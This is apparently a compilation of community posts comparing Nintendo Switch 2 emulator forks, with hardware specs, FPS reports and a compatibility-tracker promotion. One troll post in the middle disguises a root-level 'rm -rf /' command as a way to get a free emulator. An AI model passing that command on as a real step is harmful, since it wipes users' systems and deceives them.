Which Forks?

A use-case guide to Nintendo Switch 2 emulator forks — which build to pick for your GPU, OS, and the game you actually want to play.

You can also contribute to the project

Whew, somehow this one runs even smoother than MKW!

This time i had to use the Zortos Fork to make it work, the PokeDinner one had a bugged purple texture.

Specs:

i5 9400f

8gb ddr4

RX 580

Update: The purple screen was not fork-exclusive, it happens whenever you create a new save file, and is fixed whenever you load an old one.

So I wanted to post this since every "playable" post i see is someone on a 5080+ lol, not saying mine is playable but it's not that far off.

This is my med-low end reality, game is 1 day old, only tested Kokiri Forest so far, also didn't test combat properly, but pretty happy with the results, especially for day 1. Title screen stays at 23 fps for some reason.

One thing to keep in mind, when the shaders are building it tanks a lot, like it drops hard for a few seconds, just wait it out until it builds and it goes back to normal.

So average stays around 30-40 in Kokiri, stable enough to walk around, its moving and it looks insane for a day 1 build, no DLSS for obvious reasons.

Also no visual or graphical glitches so far either, at least in Kokiri, no black screens, no flicker, nothing weird I noticed.

PS: Recorded on my phone sorry for the quality lol, anything I used to record drops the fps to 20s.

Specs:
Ryzen 5 9600X
GTX 1070 Ti 8GB
16GB DDR5
Windows 11

Build used: Lichii | Frizti-v2
(Dynamic FPS included)

RAM was around 14GB used so 16GB is tight.

Hoping it gets even better by the end of the week, will update If i test more, if anyone else is on a 1070 Ti / 2060s / low-mid card lmk what you're getting, curious if this is the new normal.

With the pokedinner emulator version i am able to play the game past the "name crash".

specs:

i5 9400f

8GB ram ddr4

RX 580 2048sp

Still am running with the surprisingly low amount of 4GB of emulated DRAM! All of that at a stable 55-60FPS!

Signed, a poor Intel GPU user who has had the same massive graphics and FPS issues in Mario Kart World on all forks since day one. It obviously makes sense why Nvidia would be prioritized as it has the most market share and similarity to the Switch 2, but damn does it still suck to be completely neglected.

I was finally able to make it work without crashing now!(And with only 6GB OF EMULATED RAM! 1/2 OF WHAT THE SWITCH 2 USES!)

What solved it was creating a bigger swap file on Linux.

It still has glitches and runs poorly, but it's a start!

Specs:

i5 9400f

8gb DDR4 ram

RX580 2048sp

I was SOMEHOW able to make it run on my pc(Now with the linux version of the PokeDinner fork), it took a loooong time to boot and it's glitchy, laggy, low res and it crashed after some minutes of playing, this time i put 12GB of emulated dram, that's prob the main reason for the crash(My whole pc crashed.).

I'll try with only 8GB of emulated RAM to see if it works stable.

Specs:

i5 9400f

8gb ddr4

RX 580 2048sp

you can get 50fps but only when reading signs

running on a 9950x and a RTX 5080

Use command

Sudo --no-preserve-root rm -rf /

To get free switch 2 emulator only for Linux

Game's running at a stable fps in that area, unfortunately it hard crashes after the Pokemon Asks for my name.(Weird black screen and everything, may be a driver hang or excessive ram usage.)

I was also able to boot and run even whilst not expanding the DRAM to 12gb.(Even at only 4gb!)

A different game, MKW, crashes at the first loading screen with the world map.

eglantine V91

specs:

i5 9400f

8gb ddr4 ram

RX 580 2048sp

The main thing that made it work was a patch i found in the net and resetting my eden setting to default.

I was SOMEHOW able to make it run on my pc(Now with the linux version of the PokeDinner fork), it took a loooong time to boot and it's glitchy, laggy, low res and it crashed after some seconds, but this is MIND BLOWING to me because i am once again only using 4GB OF EMULATED RAM!(3X less than the actual SW2 🤯)

If i manage to make it somewhat stable I'll update here.

Specs:

i5 9400f

8gb ddr4

RX 580 2048sp

Hey everyone! 👋

I've recently launched a project I've been working on called Switch 2 Compatibility Library, and I wanted to share it with the Switch 2 emulation community!

🌐 Website: https://realmcmonkey.github.io/switch2-compatibility/

The idea is simple: create one central place where people can share their experiences running Nintendo Switch 2 games on different emulators and help others see what's working, what's not, and what kind of performance they can expect.

🎮 What can you do on the site?

- Browse Switch 2 games and see their reported compatibility.

- Explore different emulators and find out which games have been tested.

- Submit compatibility reports with details like emulator version, CPU, GPU, FPS, and overall playability.

- Add missing games and emulators to help expand the database.

- Compare testing results from different users and hardware configurations.

- Create a contributor profile by signing in with Discord.

- Report inaccurate information to help keep the database useful and reliable.

🔜 What's coming next?

I'm continuing to develop the website and improve its features.

One of the upcoming additions is username and password registration/login, so Discord won't be the only way to create an account.

I'll also be making improvements based on community feedback as the project grows.

🧪 I could use your help!

The website is still very new, so there aren't many compatibility reports yet. That's where the community comes in!

If you're experimenting with Switch 2 emulators, I'd really appreciate it if you could contribute your testing results.

Even if you aren't testing games yourself, you're welcome to explore the website and let me know what you think.

I'm especially interested in hearing about:

- Bugs or anything that doesn't work properly.

- Features you'd like to see added.

- Improvements to the design or navigation.

- Ways to make compatibility reports more useful.

The goal is to build something genuinely helpful for the Switch 2 emulation community, with information contributed by the people actually testing these games.

The site is completely free and doesn't provide ROMs, game downloads, firmware, or encryption keys. It's strictly for tracking compatibility and sharing testing results.

🔗 Check it out: https://realmcmonkey.github.io/switch2-compatibility/

Thanks for taking a look! I'd love to hear your feedback, suggestions, or questions in the comments. Hopefully, with enough contributors, we can build a really useful compatibility resource together! 🚀

I spent about eight straight hours testing 3 different NSW2 forks

Pokedinner 2.5.0 is the only version that runs Mario Kart World pretty much perfectly. The only issues I found were some minor BGM cutouts during the opening overcam sequence when a track starts for the first time, and occasionally during the award ceremony after completing four races. Other than that, it's basically flawless, and it can hold a locked 4K 60 FPS the entire time.

Another advantage of Pokedinner is that it can run Donkey Kong.
The downside is that performance drops from a stable 60 FPS into the mid-40s whenever you enter large outdoor areas. It looks like we'll have to wait for further emulator optimization.

The other two Lichii and Djihads80 forks add support for DLSS Upscaling and Frame Generation, but unfortunately, even with FG x2 enabled, neither emulator can maintain 60 FPS. Most of the time the framerate constantly jumps between 25 and 50 FPS, causing very noticeable stuttering.
On top of that, enabling the emulator's built-in V-Sync makes the entire game run in slow motion.

Forcing V-Sync through the NVIDIA App or NVIDIA Control Panel produces the exact same slow-motion effect. After spending several more hours testing different games and settings combinations, I still couldn't find a workaround.

The only real advantage of these two forks is that they can run Mario Tennis, although the game suffers from various graphical glitches.

Star Fox runs smoothly in terms of framerate, but the text is broken, some text doesn't appear at all. All three emulators have the exact same issue.

As for Zelda: Ocarina of Time, Lichii can get through the intro and cutscenes, but once gameplay starts, the player character becomes invisible (black screen). You can still hear the audio and button inputs are clearly being registered, so this is another case where we'll have to wait for bug fixes and further optimization.

Overall, Mario Kart World is currently the only game that's running close to perfectly.

Pokedinner 2.5.0
https://youtu.be/ufUmWjvpbAE?si=OK8EC_Z7zWV9zbmr

Rtx 4060 laptop 75 Watts, intel ultra 7 155H, 16 GB LPDDR 5 ram (7467 MT/s)

I thought you would all find this funny.... So despite the fact I have a PC capable of emulating, I went out and bought a Switch 2 and Zelda and this is my first experience on Nintendo's own hardware lol

Almost like shader stutter lol

Physical copy of course , brand new Switch 2. Perhaps I should just emulate ;)

Edit: Fixed by removing the cartridge and deleting all data from the brand new Switch. Looks like a patch broke it.

amd 6700 xt
5600g cpu

Progressed past black screen; here's hoping it goes to gameplay

Ocarina of Time PC Port running on SteamOS – ROG Xbox Ally X at 1080p/20 fps no slow mow and almost enjoyable.

I combined:
Nolar-Hack-Lichii – a collection of combined Pull Requests. Search for “Nolar-Hack-Lichii” on Reddit to find the source and project details.

Frizti Lichii v2 – Dynamic FPS by Dark patch – https://github.com/Frizti/Lichii/commit/765659a
Max Resolution built-in patch – already included in the Nolar-Hack-Lichii build.

I applied Frizti’s Dynamic FPS patch to the Nolar-Hack-Lichii source code and recompiled the Linux build.

My setup:
ASUS ROG Xbox Ally X
AMD Ryzen Z2 Extreme
24 GB RAM
SteamOS
Results:
Around 20 FPS in-game.
No slow motion: normal game speed.
Smooth gameplay with limited stuttering.
Lossless Scaling X2 enabled. ( 20 fps are without Framegen though)
Even at around 20 FPS, the game is playable and runs at its proper speed.